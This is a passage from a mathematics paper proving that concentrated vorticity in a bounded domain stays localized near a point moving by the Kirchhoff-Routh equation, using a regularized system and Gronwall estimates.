It is well known that for any $\omega_0\in L^\infty(D)$, there is a unique weak solution $(\omega(x,t),\mathbf{v}(x,t),\Phi_t(x))$ satisfying \eqref{101}, \eqref{102} and \eqref{103}. Moreover, for all $t\geq0$, $\Phi_t$ is a homeomorphism from $D$ to $D$ which preserves Lebesgue measure and the distributional function of $\omega(\cdot,t)$ does not change with time, that is, for any $a\in \mathbb{R}$ and $t\geq 0$, we have
\begin{equation}\label{25}
|\{x\in D|\omega(x,t)>a\}|=|\{x\in D|\omega(x,0)>a\}|.
\end{equation}
Many proofs of this existence and uniqueness result can be found in the literature, see\cite{MP4} or \cite{Y} for example.
Now we consider a family of initial data $\omega^\varepsilon(x,0)\in L^\infty(D)$ satisfying
\begin{equation}\label{26}
\int_D\omega^\varepsilon(x,0)dx=1,
\end{equation}
\begin{equation}\label{27}
0\leq\omega^\varepsilon(x,0)\leq M\varepsilon^{-\eta},
\end{equation}
\begin{equation}\label{28}
supp\omega^\varepsilon(x,0)\subset B_\varepsilon(z_0),
\end{equation}
where $M$ and $\eta$ are fixed positive numbers and $z_0\in D$ is given.
For fixed $\varepsilon$, $\omega^\varepsilon(x,0)\in L^\infty(D)$, thus there exists a unique weak solution $\omega^\varepsilon(x,t)$, the time evolution of $\omega^\varepsilon(x,0)$ according to the Euler equation. Since the support of initial vorticity shrinks to a given point $z_0$ as $\varepsilon\rightarrow 0$, we ask whether the support of $\omega^\varepsilon(x,t)$ shrinks to a point; if it does, which point it will shrink to.
The main purpose of this paper is to answer this question. To be more precise, we will prove the following result:
\begin{theorem}\label{33}
Let $\omega^\varepsilon(x,t)$ be the unique weak solution of the Euler equation with initial vorticity $\omega^\varepsilon(x,0)$ satisfying \eqref{26},\eqref{27},\eqref{28}, and $T>0$ be fixed. Then for any $0<\alpha<\frac{1}{3}$, there exists $C>0$ depending only on $\alpha$ and $T$ such that
\begin{equation}\label{29}
supp\omega^\varepsilon(x,t)\subset B_{C\varepsilon^\alpha}(z(t)),\,\,\forall t\in[0,T],
\end{equation}
where $z(t)$ is the solution of the following Kirchhoff-Routh equation
\begin{equation}\label{30}
\begin{cases}
\frac{dz(t)}{dt}=-J\nabla H(z(t)),
\\ z(0)=z_0.
\end{cases}
\end{equation}
\end{theorem}
\begin{remark}
From Theorem \ref{33} it is easy to see that $\omega^\varepsilon(x,t)$ converges to the Dirac measure with unit mass at $z(t)$ uniformly as $\varepsilon\rightarrow 0$ in the sense of distribution, that is, for any $\phi\in C_c^\infty(D)$, we have
\begin{equation}
\lim_{\varepsilon\rightarrow0}\int_D\phi(x)\omega^\varepsilon(x,t)dx=\phi(z(t)).
\end{equation}
In fact, by \eqref{25} we have $\int_D|\omega^\varepsilon(x,t)|dx=\int_D|\omega^\varepsilon(x,0)|dx=1$ for all $t\geq0$, then
\begin{equation}
\begin{split}
|\int_D\phi(x)\omega^\varepsilon(x,t)dx-\phi(z(t))|&=|\int_D(\phi(x)-\phi(z(t)))\omega^\varepsilon(x,t)dx|\\
&\leq\int_D|(\phi(x)-\phi(z(t)))\omega^\varepsilon(x,t)|dx\\
&=\int_{B_{C\varepsilon^\alpha}(z(t))}|(\phi(x)-\phi(z(t)))\omega^\varepsilon(x,t)|dx\\
&\leq \sup_{x\in B_{C\varepsilon^\alpha}(z(t))}|\phi(x)-\phi(z(t))|\int_D|\omega^\varepsilon(x,t)|dx\\
&=\sup_{x\in B_{C\varepsilon^\alpha}(z(t))}|\phi(x)-\phi(z(t))|.
\end{split}
\end{equation}
Since $C\varepsilon^\alpha\rightarrow 0$ uniformly as $\varepsilon\rightarrow 0$, the result follows from the uniform continuity of $\phi$.
\end{remark}
\begin{remark}
By the theory of ordinary differential equations, there exists a unique smooth solution to \eqref{30}. At the same time, for such a solution
\begin{equation}
\frac{d}{dt}H(z(t))=\nabla H(z(t))\cdot \frac{dz(t)}{dt}=-\nabla H(z(t))\cdot J\nabla H(z(t)=0,
\end{equation}
so we have $H(z(t))=H(z(0))$ for all $t\geq 0$. On the other hand, $H(x)\rightarrow+\infty $ as $dist(x,\partial D)\rightarrow 0$, so $z(t)$ will be away from the boundary for all $t\geq 0$. Therefore, we can choose a number $\rho_0>0$, depending only on $z_0$ and $D$, such that $dist(z(t),\partial D)>\rho_0$ for all $t\geq 0$.
\end{remark}
\section{Proof of Main Result}
In this section we prove Theorem \ref{33}. Roughly speaking, the proof consists of three steps: 1, we introduce the regularized system and study its property; 2, we prove a localization lemma for the regularized system; 3, we show that the support of the vorticity in the regularized system does not approach the boundary, therefore the vorticity of the regularized system coincides with the one of the Euler equation.
\subsection{The Regularized System}
In bounded domain $D$, the boundary effect on the fluid is the term $J\nabla\int_Dh(x,y)\omega^\varepsilon(x,t)dy$, which is called the boundary force in this paper. If the support of $\omega^\varepsilon$ approaches the boundary, the boundary force will become singular, which makes the problem difficult. To overcome this difficulty, we introduce a regularized system from the original one.
We first define two functions $\theta$ and $\chi$ for later use, where $\theta$ satisfies:
\begin{equation}\label{61}
\begin{cases}
\theta\in C_c^\infty(D), 0\leq\theta\leq1,
\\ supp\theta\subset D_{\frac{\rho_0}{3}},
\\ \theta(x)=1, \forall \,x\in D_{\frac{\rho_0}{2}},
\end{cases}
\end{equation}
and $\chi(x)$ satisfies:
\begin{equation}\label{62}
\begin{cases}
\chi\in C_c^\infty(D),0\leq\chi\leq1;
\\ \chi(x)=1, \forall \,x\in D_{\frac{\rho_0}{10}}.
\end{cases}
\end{equation}
Existence of such functions can easily be obtained by using standard mollifying technique.
Now consider the following system in the whole plane $\mathbb{R}^2$:
\begin{equation}\label{35}
\bar{\omega}(x,t)=\bar{\omega}(\bar{\Phi}_{-t}(x),0),
\end{equation}
\begin{equation}\label{36}
\frac{d}{dt}\bar{\Phi}_t(x)=\bar{\mathbf{v}}(\bar{\Phi}_t(x),t),\,\,\,\,\,\ \bar{\Phi}_0(x)=x,\,\,\, x\in \mathbb{R}^2,
\end{equation}
\begin{equation}\label{37}
\bar{\mathbf{v}}=J\nabla \bar{G}\bar{\omega},
\end{equation}
where $\bar{G}\bar{\omega}$ is defined by
\begin{equation}\label{38}
\bar{G}\bar{\omega}(x,t)=\int_{\mathbb{R}^2}\Gamma(x,y)\bar{\omega}(y,t)dy-\int_{\mathbb{R}^2}h(x,y)\theta(x)\chi(y)\bar{\omega}(y,t)dy.
\end{equation}
Here we extend $h(x,y)$ to $\mathbb{R}^4$ by setting $h(x,y)=0$ if $x\notin D$ or $y\notin D$. In this case $h(x,y)\theta(x)\chi(y)\in C_c^\infty(\mathbb{R}^4)$.
\begin{remark}
Since the regularized system is defined on the whole plane, it is possible that a fluid particle, even with initial position within $D$, may move out of $D$. But we will prove that for any fluid particle with initial position on the set $supp\omega^\varepsilon(x,0)$, its trajectory will coincide with the one governed by the Euler equation with the same initial position.
\end{remark}
The definition of the weak solution to the regularized is exactly the same as the Euler equation. More specifically, we have the following lemma.
\begin{lemma}
For fixed $\varepsilon$, there exists a unique weak solution to the regularized system with initial vorticity $\omega^\varepsilon(x,0)$ satisfying \eqref{26},\eqref{27},\eqref{28}, that is, a map $t\rightarrow (\bar{\omega}^\varepsilon(\cdot,t),\bar{\mathbf{v}}^\varepsilon(\cdot,t),\bar{\Phi}_t^\varepsilon(\cdot))$ satisfying
\begin{equation}\label{101}
\bar{\omega}^\varepsilon\in L^\infty((0,+\infty),L^1(\mathbb{R}^2)\cap L^\infty(\mathbb{R}^2)),\,\,\,\,\,\,\,\,\, \bar{\mathbf{v}}^\varepsilon=\bar{G}\bar{\omega}^\varepsilon\in C([0,+\infty)\times \mathbb{R}^2),
\end{equation}
\begin{equation}\label{102}
\bar{\omega}^\varepsilon(x,t)={\omega}^\varepsilon(\bar{\Phi}^\varepsilon_{-t}(x),0),
\end{equation}
\begin{equation}\label{103}
\frac{d}{dt}\bar{\Phi}^\varepsilon_t(x)=\bar{\mathbf{v}}^\varepsilon(\bar{\Phi}^\varepsilon_t(x),t),\,\,\,\,\,\ \bar{\Phi}^\varepsilon_0(x)=x,\,\,\,\forall x\in D.
\end{equation}
Moreover, for all $t\geq0$, $\bar{\Phi}^\varepsilon_t$ is a homeomorphism from $\mathbb{R}^2$ to $\mathbb{R}^2$ which preserves Lebesgue measure and the distributional function of $\bar{\omega}^\varepsilon(\cdot,t)$ does not change with time, that is, for any $a\in \mathbb{R}$ and $t\geq 0$,
\begin{equation}\label{110}
|\{x\in D|\bar{\omega}^\varepsilon(x,t)>a\}|=|\{x\in D|\bar{\omega}^\varepsilon(x,0)>a\}|.
\end{equation}
\end{lemma}
\begin{proof}
The proof is exactly the same as the one for the Euler equation(see \cite{MB}, Chapter 8 for example), therefore we omit it here.
\end{proof}
For simplicity we write $\mathbf{F}^\varepsilon(x,t)=J\nabla\int_Dh(x,y)\theta(x)\chi(y)\bar{\omega}^\varepsilon(y,t)dy$. From now on we regard $\mathbf{F}^\varepsilon(x,t)$ as an external force. It is easy to see that for fixed $\varepsilon$ and $t$, $\mathbf{F}^\varepsilon(x,t)$ is a smooth and divergence-free vector field in $\mathbb{R}^2$ with compact support. Besides, we need some uniform estimates for $\mathbf{F}^\varepsilon$ as $\varepsilon\rightarrow 0$.
\begin{lemma}\label{444}
$\mathbf{F}^\varepsilon(x,t)$ is uniformly bounded and satisfies the uniform Lipschitz condition. More specifically,
there exist $L_1,L_2>0$, independent of $\varepsilon$, such that for all $\varepsilon>0, x,y\in \mathbb{R}^2, t\geq0$, we have
\begin{equation}\label{40}
|\mathbf{F}^\varepsilon(x,t)|<L_1,
\end{equation}
\begin{equation}\label{41}
|\mathbf{F}^\varepsilon(x,t)-\mathbf{F}^\varepsilon(y,t)|<L_2|x-y|.
\end{equation}
\end{lemma}
\begin{proof}
We write $\bar{h}(x,y)=h(x,y)\theta(x)\chi(y)\in C_c^\infty(\mathbb{R}^4)$. For any multi-index $\alpha=(\alpha_1,\alpha_2)$, where $\alpha_1, \alpha_2$ are two non-negative integers, we have
\begin{equation}\label{42}
D_x^\alpha \int_D\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy= \int_DD_x^\alpha\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy,
\end{equation}
where $D^\alpha =\frac{\partial^{\alpha_1+\alpha_2}}{\partial_{x_1}^{\alpha_1}\partial_{x_2}^{\alpha_2}}$.
So
\begin{equation}\label{44}
|D_x^\alpha \int_D\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy|= |\int_DD_x^\alpha\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy|\leq C\int_D|\bar{\omega}^\varepsilon(y,t)|dy=C.
\end{equation}
Here and in the sequel $C$ denotes various positive numbers not depending on $\varepsilon$. Then
\begin{equation}
\begin{split}
|\mathbf{F}^\varepsilon(x,t)|&=|J\nabla\int_D\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy|\\
&=|\nabla\int_D\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy|\\
&\leq C.
\end{split}
\end{equation}
Also,
\begin{equation}
\begin{split}
|\mathbf{F}^\varepsilon(x,t)-\mathbf{F}^\varepsilon(y,t)|&=|J\nabla\int_D\bar{h}(x,z)\bar{\omega}^\varepsilon(z,t)dz-J\nabla\int_D\bar{h}(y,z)\bar{\omega}^\varepsilon(z,t)dz|\\
&=|\nabla\int_D\bar{h}(x,z)\bar{\omega}^\varepsilon(z,t)dz-\nabla\int_D\bar{h}(y,z)\bar{\omega}^\varepsilon(z,t)dz|\\
&\leq \sup_{x\in \mathbb{R}^2}|D_x^2\int_D\bar{h}(x,y)\bar{\omega}^\varepsilon(y,t)dy||x-y|\\
&\leq C|x-y|,
\end{split}
\end{equation}
which completes the proof.
\end{proof}
\begin{lemma}
For fixed $\varepsilon$ and any $t\in[0,+\infty)$, $\bar{\omega}^\varepsilon(\cdot,t)$ has compact support. Moreover, for any $f\in C^\infty(\mathbb{R}^2)$ we have
\begin{equation}\label{120}
\frac{d}{dt}\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)f(x)dx=\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)(\bar{\mathbf{v}}^\varepsilon\cdot\nabla f)(x,t)dx,
\end{equation}
where $\bar{\mathbf{v}}^\varepsilon$ is defined in \eqref{101}.
\end{lemma}
\begin{proof}
We use the following well-known inequality(see \cite{MB}, Chapter 8 for example):
\begin{equation}
|\bar{\mathbf{v}}^\varepsilon(\cdot,t)|_{L^\infty(\mathbb{R}^2)}\leq C(|\omega^\varepsilon(\cdot,0)|_{L^\infty(\mathbb{R}^2)}+|\omega^\varepsilon(\cdot,0)|_{L^\infty(\mathbb{R}^2)}),
\end{equation}
which means that $\bar{\mathbf{v}}^\varepsilon(\cdot,t)$ is uniformly bounded for $t\in[0,+\infty)$. On the other hand, the initial vorticity has compact support and by \eqref{102} the vorticity is constant along the particle paths, we know that $\bar{\omega}^\varepsilon(x,t)$ has compact support in any finite interval.
\eqref{120} can be obtained by direct calculation. Indeed,
\begin{equation}\label{124}\begin{split}
\frac{d}{dt}\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)f(x)dx=&\frac{d}{dt}\int_{\mathbb{R}^2}\omega^\varepsilon(\bar{\Phi}_{-t}^\varepsilon(x),0)f(x)dx\\
=&\frac{d}{dt}\int_{\mathbb{R}^2}\omega^\varepsilon(x,0)f(\bar{\Phi}_{t}^\varepsilon(x))dx\\
=&\int_{\mathbb{R}^2}\omega^\varepsilon(x,0)\nabla f(\bar{\Phi}_{t}^\varepsilon(x))\cdot \bar{\mathbf{v}}^\varepsilon(\bar{\Phi}_{t}^\varepsilon(x),t) dx\\
=&\int_{\mathbb{R}^2}\omega^\varepsilon(\bar{\Phi}_{-t}^\varepsilon(x),0)\nabla f(x)\cdot \bar{\mathbf{v}}^\varepsilon(x,t) dx\\
=&\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)\nabla f(x)\cdot \bar{\mathbf{v}}^\varepsilon(x,t) dx.
\end{split}
\end{equation}
This completes the proof.
\end{proof}
\subsection{Localization Lemma}
Now we prove the localization property of $\bar{\omega}^\varepsilon(x,t)$ by taking the regularized boundary force $\mathbf{F}^\varepsilon(x,t)$ as an external force.
\begin{lemma}\label{47}
Let $T>0$ be fixed. Then for any $0<\alpha<\frac{1}{3}$, there exists $C>0$ depending on $\alpha$ and $T$ such that
\begin{equation}\label{245}
supp\bar{\omega}^\varepsilon(x,t)\subset B_{C\varepsilon^\alpha}(\bar{z}^\varepsilon(t)),\,\,\forall t\in[0,T],
\end{equation}
where $\bar{z}^\varepsilon(t)$ satisfies the following equation
\begin{equation}\label{46}
\begin{cases}
\frac{d\bar{z}^\varepsilon(t)}{dt}=-\mathbf{F}^\varepsilon(\bar{z}^\varepsilon(t),t),
\\ \bar{z}^\varepsilon(0)=z_0.
\end{cases}
\end{equation}
\end{lemma}
\begin{proof}
The proof is essentially the same as Theorem 2.1 in \cite{M} but replacing a given external force by a family of external forces $\mathbf{F}^\varepsilon$, which is uniform bounded and Lipschitz continuous.
Firstly we show that the distance between $\bar{z}^\varepsilon(t)$ and the center of the vorticity vanishes at least as the order $\varepsilon$, where the center of vorticity is defined by
\begin{equation}\label{111}
m^\varepsilon(t)\triangleq \int_{\mathbb{R}^2}x\bar{\omega}^\varepsilon(x,t)dx.
\end{equation}
We also define the moment of inertia of the vorticity with respect to $m^\varepsilon(t)$ by
\begin{equation}\label{112}
I^\varepsilon(t)\triangleq \int_{\mathbb{R}^2}|x-m^\varepsilon(t)|^2\bar{\omega}^\varepsilon(x,t)dx.
\end{equation}
We claim that there exists a positive number $C$ not depending on $\varepsilon$ such that for any $t\in[0,T]$
\begin{equation}
|\bar{z}^\varepsilon(t)-m^\varepsilon(t)|\leq C\varepsilon.
\end{equation}
In fact, by choosing $f(x)=x_i$, $i=1,2$, and using \eqref{120},
\begin{equation}\label{130}
\begin{split}
\frac{d}{dt}m^\varepsilon(t)&=\frac{d}{dt}\int_{\mathbb{R}^2}x\bar{\omega}^\varepsilon(x,t)dx\\
&=\frac{d}{dt}\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)\bar{\mathbf{v}}^\varepsilon(x,t)dx\\
&=\int_{\mathbb{R}^4}-\frac{1}{2\pi}\frac{J(x-y)}{|x-y|^2}\bar{\omega}^\varepsilon(x,t)
\bar{\omega}^\varepsilon(y,t)dxdy-\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)\mathbf{F}^\varepsilon(x,t)dx\\
&=-\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(x,t)\mathbf{F}^\varepsilon(x,t)dx,
\end{split}
\end{equation}
where we have used the antisymmetry of $-\frac{1}{2\pi}\frac{J(x-y)}{|x-y|^2}$. Similarly,
\begin{equation}\label{131}
\frac{d}{dt}I^\varepsilon(t)=-2\int_{\mathbb{R}^2}(x-m^\varepsilon(t))\cdot\mathbf{F}^\varepsilon(x,t)\bar{\omega}^\varepsilon(x,t)dx.
\end{equation}
Now
\begin{equation}\label{132}
\begin{split}
|\frac{d}{dt}I^\varepsilon(t)|&=|2\int_{\mathbb{R}^2}(x-m^\varepsilon(t))\cdot\mathbf{F}^\varepsilon(x,t)\bar{\omega}^\varepsilon(x,t)dx|\\
&=|2\int_{\mathbb{R}^2}(x-m^\varepsilon(t))\cdot\mathbf{F}^\varepsilon(x,t)\bar{\omega}^\varepsilon(x,t)dx-
2\int_{\mathbb{R}^2}(x-m^\varepsilon(t))\cdot\mathbf{F}^\varepsilon(m^\varepsilon(t),t)\bar{\omega}^\varepsilon(x,t)dx|\\
&\leq 2L_2\int_{\mathbb{R}^2}|x-m^\varepsilon(t))|^2|\bar{\omega}^\varepsilon(x,t)|dx\\
&=2L_2I^\varepsilon(t),
\end{split}
\end{equation}
where we have used the uniform Lipschitz condition \eqref{41} and the fact that $\int_{\mathbb{R}^2}(x-m^\varepsilon(t))\cdot\mathbf{F}^\varepsilon(m^\varepsilon(t),t)\bar{\omega}^\varepsilon(x,t)dx=0$.
Then by Gr\"{o}nwall's inequality we have
\begin{equation}
I^\varepsilon(t)\leq I^\varepsilon(0)e^{2L_2t}.
\end{equation}
On the other hand,
\begin{equation}
I^\varepsilon(0)=\int_{\mathbb{R}^2}{\omega}^\varepsilon(x,0)|x-m^\varepsilon(0)|^2\leq 4\varepsilon^2,
\end{equation}
so
\begin{equation}\label{133}
I^\varepsilon(t)\leq 4\varepsilon^2e^{2L_2T},\,\,\forall t\in[0,T]
\end{equation}
Now we calculate
\begin{equation}\label{135}
\begin{split}
|\bar{z}^\varepsilon(t)-m^\varepsilon(t)|=&|z_0-\int_0^t\mathbf{F}^\varepsilon(\bar{z}^\varepsilon(s),s)ds-m^\varepsilon(0)+
\int_0^t\int_{\mathbb{R}^2}\mathbf{F}^\varepsilon(x,s)\bar{\omega}^\varepsilon(x,s)dxds|\\
\leq&|z_0-m^\varepsilon(0)|+\int_0^t|\mathbf{F}^\varepsilon(\bar{z}^\varepsilon(s),s)-\mathbf{F}^\varepsilon(m^\varepsilon(s),s)|ds\\
+&\int_0^t|\int_{\mathbb{R}^2}(\mathbf{F}^\varepsilon(m^\varepsilon(s),s)-\mathbf{F}^\varepsilon(x,s))\bar{\omega}^\varepsilon(x,s)dx|ds\\
\leq&|z_0-m^\varepsilon(0)|+\int_0^tL_2|\bar{z}^\varepsilon(s)-m^\varepsilon(s)|ds\\
+&\int_0^t\int_{\mathbb{R}^2}L_2|m^\varepsilon(s)-x|\bar{\omega}^\varepsilon(x,s)dxds\\
\leq&|z_0-m^\varepsilon(0)|+\int_0^tL_2|\bar{z}^\varepsilon(s)-m^\varepsilon(s)|ds
+L_2 T \sup_{t\in[0,T]}|I^\varepsilon(t)|^\frac{1}{2}.
\end{split}
\end{equation}
Since $supp\omega^\varepsilon(\cdot,0)\subset B_{\varepsilon}(z_0)$ and $\int_{\mathbb{R}^2}{\omega}^\varepsilon(x,0)dx=1$, we have
\begin{equation}\label{1040}
|z_0-m^\varepsilon(0)|=|z_0-\int_{\mathbb{R}^2}x{\omega}^\varepsilon(x,0)dx|\leq \int_{\mathbb{R}^2}|z_0-x|{\omega}^\varepsilon(x,0)dx\leq\varepsilon.
\end{equation}
\eqref{133},\eqref{135} and \eqref{1040} give
\begin{equation}\label{1041}
|\bar{z}^\varepsilon(t)-m^\varepsilon(t)|\leq\varepsilon+L_2\int_0^t|\bar{z}^\varepsilon(s)-m^\varepsilon(s)|ds+2\varepsilon L_2Te^{L_2T},
\end{equation}
then by Gr\"{o}nwall's inequality we have for any $t\in[0,T]$
\begin{equation}
|\bar{z}^\varepsilon(t)-m^\varepsilon(t)|\leq C\varepsilon,
\end{equation}
where $C$ depends only on $L_2$ and $T$. This proves the claim.
Now we finish the proof by showing the following statement: for any $0<\alpha<\frac{1}{3}$, there exists $C>0$, depending only on $\alpha$ and $T$, such that for any $t\in[0,T]$
\begin{equation}\label{1090}
supp\bar{\omega}^\varepsilon\subset B_{C\varepsilon^\alpha}(m^\varepsilon(t)).
\end{equation}
For any fixed $t$, consider a fluid particle $x$, $x\in supp\bar{\omega}^\varepsilon(\cdot,t)$, the growth of the distance between $x$ and $m^\varepsilon(t)$ is
\begin{equation}\label{1050}
\begin{split}
&|(J\nabla\int_{\mathbb{R}^2}\Gamma(x,y)\bar{\omega}^\varepsilon(y,t)dy-\mathbf{F}^\varepsilon(x,t)-\frac{dm^\varepsilon(t)}{dt})\cdot\frac{x-m^\varepsilon(t)}{|x-m^\varepsilon(t)|}|\\
\leq&|(\mathbf{F}^\varepsilon(x,t)+\frac{dm^\varepsilon(t)}{dt})\cdot\frac{x-m^\varepsilon(t)}{|x-m^\varepsilon(t)|}|+|(J\nabla\int_{\mathbb{R}^2}\Gamma(x,y)\bar{\omega}^\varepsilon(y,t)dy)
\cdot\frac{x-m^\varepsilon(t)}{|x-m^\varepsilon(t)|}|\\
\triangleq& J_1+J_2.
\end{split}
\end{equation}
By \eqref{41} and \eqref{130}, $J_1$ can be estimated as follows
\begin{equation}\label{1061}
\begin{split}
J_1&=|(\mathbf{F}^\varepsilon(x,t)+\frac{dm^\varepsilon(t)}{dt})\cdot\frac{x-m^\varepsilon(t)}{|x-m^\varepsilon(t)|}|\\
&\leq|\mathbf{F}^\varepsilon(x,t)+\frac{dm^\varepsilon(t)}{dt}|\\
&=|\mathbf{F}^\varepsilon(x,t)-\int_{\mathbb{R}^2}\bar{\omega}^\varepsilon(y,t)\mathbf{F}^\varepsilon(y,t)dy|\\
&\leq CR,
\end{split}
\end{equation}
where $C$ depends only on $L_2$ and $R\triangleq|x-m^\varepsilon(t)|$.
The term $J_2$ does not contain $\mathbf{F}^\varepsilon$, so the estimate for $J_2$ is exactly the same as the one in Theorem 2.1 in \cite{M}, that is, when $R>C\alpha^\alpha$ for $\alpha<\frac{1}{3}$,
\begin{equation}\label{1062}
J_2\leq C\frac{\varepsilon}{R^2}+A(\varepsilon),
\end{equation}
where $A(\varepsilon)$ is smaller than any power in $\varepsilon$, or equivalently for any $\gamma>0$,
\begin{equation}
\lim_{\varepsilon\rightarrow0}\frac{A(\varepsilon)}{\varepsilon^\gamma}=0.
\end{equation}
\eqref{1061} and \eqref{1062} together give
\begin{equation}
|\frac{dR}{dt}|\leq CR+C\frac{\varepsilon}{R^2}+A(\varepsilon).
\end{equation}
That is, for any fluid particle at $x$ at time $t$ with $|x-m^\varepsilon(t)|>C\varepsilon^\alpha$, the growth of the distance between $x$ and $m^\varepsilon(t)$ vanishes uniformly in any finite time interval as $\varepsilon\rightarrow0$. Then
\eqref{1090} follows immediately from Gr\"{o}nwall's inequality, which completes the proof.
\end{proof}
Now we are ready to prove Theorem \ref{33}.
\begin{proof}[Proof of Theorem \ref{33}]
Step 1: By definition of $\mathbf{F}^\varepsilon$, we have $\mathbf{F}^\varepsilon(x,t)\equiv0$ for $x\in\{x\in D| dist(x,\partial D)<\frac{\rho_0}{3}\}$. Then by\eqref{46} we know that $\bar{z}^\varepsilon(x,t)\in D_{\frac{\rho_0}{3}}$ for all $t$ and $\varepsilon$, which means that $\bar{z}^\varepsilon$ is uniformly bounded with respect to $\varepsilon$ for $t\in[0,T]$. On the other hand, by Lemma \ref{444}, we know that $\frac{d\bar{z}^\varepsilon(t)}{dt}=-\mathbf{F}^\varepsilon(\bar{z}^\varepsilon(t),t)$ is also uniformly bounded.
Then by Arzela-Ascoli theorem, we can choose a subsequence of $\{\bar{z}^\varepsilon(t)\}$, say $\{\bar{z}^{\varepsilon_j}(t)\}$, such that $\bar{z}^{\varepsilon_j}(t)\rightarrow \bar{z}(t)$ uniformly for $t\in[0,T]$ as $\varepsilon_j\rightarrow 0$. It is obvious that for all $t\in[0,T]$,
\begin{equation}\label{161}
dist(\bar{z}(t),\partial D)>\frac{\rho_0}{3}.
\end{equation}
Step 2: We show that
\begin{equation}
\mathbf{F}^{\varepsilon_j}(x,t)=J\nabla\int_Dh(x,y)\theta(x)\bar{\omega}^{\varepsilon_j}(y,t)dy
\end{equation}
moreover,
\begin{equation}\label{165}
\mathbf{F}^{\varepsilon_j}(x,t)\rightarrow J\nabla(\theta(x)h(x,\bar{z}(t)))
\end{equation}
uniformly for $t\in[0,T]$.
In fact, by \eqref{245} and \eqref{161} we have
\begin{equation}
dist(supp\bar{\omega}^{\varepsilon_j}(\cdot,t),\partial D)>\frac{\rho_0}{4}
\end{equation}
for any $t\in[0,T]$ provided $\varepsilon_j$ is sufficiently small. Now since $\chi(y)\equiv1$ for any $y\in D_{\frac{\rho_0}{10}}$, we have
\begin{equation}
\begin{split}
\mathbf{F}^{\varepsilon_j}(x,t)&=J\nabla\int_Dh(x,y)\theta(x)\chi(y)\bar{\omega}^{\varepsilon_j}(y,t)dy\\
&=J\nabla\int_{D_\frac{\rho_0}{4}}h(x,y)\theta(x)\chi(y)\bar{\omega}^{\varepsilon_j}(y,t)dy\\
&=J\nabla\int_{D_\frac{\rho_0}{4}}h(x,y)\theta(x)\bar{\omega}^{\varepsilon_j}(y,t)dy\\
&=J\nabla\int_Dh(x,y)\theta(x)\bar{\omega}^{\varepsilon_j}(y,t)dy.
\end{split}
\end{equation}
\eqref{165} can be proved by calculating directly. Indeed,
\begin{equation}
\begin{split}
&|\mathbf{F}^{\varepsilon_j}(x,t)- J\nabla(\theta(x)h(x,\bar{z}(t)))|\\
=&|J\nabla\int_Dh(x,y)\theta(x)\bar{\omega}^{\varepsilon_j}(y,t)dy-J\nabla(\theta(x)h(x,\bar{z}(t)))|\\
=&|\nabla\int_Dh(x,y)\theta(x)\bar{\omega}^{\varepsilon_j}(y,t)dy-\nabla(\theta(x)h(x,\bar{z}(t)))|\\
=&|\int_D\nabla_x(h(x,y)\theta(x))\bar{\omega}^{\varepsilon_j}(y,t)dy-\int_D\nabla_x(\theta(x)h(x,\bar{z}(t)))\bar{\omega}^{\varepsilon_j}(y,t)dy|\\
\leq&\int_D|\nabla_x(h(x,y)\theta(x))-\nabla_x(\theta(x)h(x,\bar{z}(t)))|\bar{\omega}^{\varepsilon_j}(y,t)dy\\
=&\int_{B_\delta(\bar{z}(t))}|\nabla_x(h(x,y)\theta(x))-\nabla_x(\theta(x)h(x,\bar{z}(t)))|\bar{\omega}^{\varepsilon_j}(y,t)dy\\
\leq&\sup_{y\in B_\delta(\bar{z}(t))}|\nabla_x(h(x,y)\theta(x))-\nabla_x(\theta(x)h(x,\bar{z}(t)))|,
\end{split}
\end{equation}
where $\delta=C\varepsilon^\alpha$. By \eqref{161}, the set $\{y\in B_\delta(\bar{z}(t))|t\in[0,T]\}\subset\subset D$ if $\varepsilon$ is sufficiently small, then $\nabla_x(h(x,y)\theta(x))$ is uniformly continuous on $\mathbb{R}^2\times \{y\in B_\delta(\bar{z}(t))|t\in[0,T]\}$, so
\begin{equation}
\sup_{y\in B_\delta(\bar{z}(t))}|\nabla_x(h(x,y)\theta(x))-\nabla_x(\theta(x)h(x,\bar{z}(t)))|\rightarrow0
\end{equation}
uniformly for $t\in[0,T]$ as $\varepsilon\rightarrow0$, which proves \eqref{165}.
Step 3: Taking limit in \eqref{46}, we know that $\bar{z}(t)$ satisfies the following equation
\begin{equation}
\begin{cases}
\frac{d\bar{z}(t)}{dt}=-J\nabla(\theta(\bar{z}(t))h(\bar{z}(t),\bar{z}(t))),
\\ \bar{z}(0)=z_0.
\end{cases}
\end{equation}
Now recall $z(t)$, the function defined by \eqref{30}. Since $dist(z(t),\partial D)>\rho_0$ and $\theta \equiv1 $ in $D_\frac{\rho_0}{2}$, we can rewrite \eqref{30} as
\begin{equation}\label{181}
\begin{cases}
\frac{dz(t)}{dt}=-J\nabla(\theta(z(t))h(z(t),z(t))),
\\ z(0)=z_0.
\end{cases}
\end{equation}
That is, $\bar{z}(t)$ and $z(t)$ satisfy the same ordinary differential equation, then by uniqueness we have $\bar{z}(t)=z(t)$.
Moreover, we know that the limit is independent of the subsequence $\{\varepsilon_j\}$ and thus $\bar{z}^\varepsilon(t)\rightarrow z(t)$ as $\varepsilon\rightarrow 0$ arbitrarily.
Step 4: We show that $\omega^\varepsilon=\bar{\omega}^\varepsilon$ if $\varepsilon$ is sufficiently small, which will finish the proof of Theorem \ref{33}.
From now on, we choose $x\in supp\omega^\varepsilon(\cdot,0)$ to be fixed. Since $dist(z(t),\partial D)>\rho_0$ for $t\in[0,T]$, \eqref{245} implies $dist(supp{\bar{\omega}^\varepsilon},\partial D)>\frac{2}{3}\rho_0$ by choosing $\varepsilon$ small. In this case $\bar{\Phi}^\varepsilon_t(x)\in D_{\frac{2}{3}\rho_0}$, since $\bar{\Phi}^\varepsilon_0(x)=x\in supp\omega^\varepsilon(\cdot,0)$. So $\theta(\bar{\phi}^\varepsilon_t(x))=1$ for all $t$, which gives the following equations:
